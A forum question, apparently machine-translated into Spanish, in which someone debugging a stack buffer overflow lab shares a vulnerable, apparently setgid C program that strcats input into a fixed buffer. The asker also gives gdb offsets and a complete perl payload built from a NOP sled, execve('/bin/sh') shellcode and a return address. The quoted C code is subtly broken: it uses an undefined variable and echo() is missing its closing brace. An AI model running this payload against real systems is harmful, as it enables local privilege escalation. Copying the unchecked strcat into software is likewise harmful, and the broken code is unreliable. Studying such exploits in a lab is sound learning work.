Quiero explotar un desbordamiento de búfer basado en pila para fines educativos. Hay una función típica llamada con un parámetro de main que se proporciona como entrada del programa y un búfer local donde se guarda el parámetro. Se proporciona una entrada tal que nops + shellcode + address_shellcode lo explotaré. Después de la depuración con gdb encontré la dirección del código shell como pasará como un parámetro y justo después de que strcpy examine la pila y el $ ebp + 8 que es la dirección de retorno ha sido exitoso sobrescrito con la dirección del shellcode. Así que tengo lo que quiero. Pero cuando me adelanté a la ejecución obtuve:
->shellcode_address in ?? ()
y luego
Cannot find bound of current function
La dirección de retorno tiene el valor que quiero. Alguna idea de lo que esta pasando? También cuando lo ejecuto tengo un error de segmentación y lo he compilado con -g -fno-stack-protector
Aquí está el código:
void echo(char *s, unsigned int length, long int a, short b)
{
unsigned char len = (unsigned char) l;
char errormsg[] = "bla bla bla\n";
char buf[250] = "You typed: ";
strcat(buf+11, s);
fprintf(stdout, "%s\n", buf);
int main(int argc, char **argv)
{
gid_t r_gid, e_gid;
/* check arguments */
if (argc != 2) {
fprintf(stderr, "please provide one argument to echo\n");
return 1;
}
/* clear environment */
clearenv();
setenv ("PATH", "/bin:/usr/bin:/usr/local/bin", 1);
setenv ("IFS", " \t\n", 1);
/* temporarily drop privileges */
e_gid = getegid();
r_gid = getgid();
setregid(e_gid, r_gid);
/* call the echo service */
echo(argv[1], strlen(argv[1]), 0xbccb3423, 323);
return 0;
}
Descubrí con gdb que si sobrescribes 309 bytes, sobrescribirás exactamente la dirección de retorno con los últimos 4 bytes de tu entrada, que es exactamente lo que queremos. Así que ya que el código de shell es de 45 bytes, queremos algo como: \ x90 x 260. "shellcode". Dirección de 4 bytes (260 + 45 + 4 = 309)
Para encontrar la dirección del primer parámetro de la función, ejecuté varias veces gdb con una cadena de 309 bytes de entrada y la dirección siempre fue la misma: 0x5ffff648
Entonces, si agrego una dirección (orden inverso, es decir, 0xabcdefgh - > \ xgh \ xef \ xcd \ xab) que es más alto donde el parámetro apunta, el procesador caerá en un comando NOP, sin hacer nada hasta que llegue el shellcode
Termino con esto:
r perl -e 'print ("\x90" x 260 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x3e\xf8\xff\x5f")'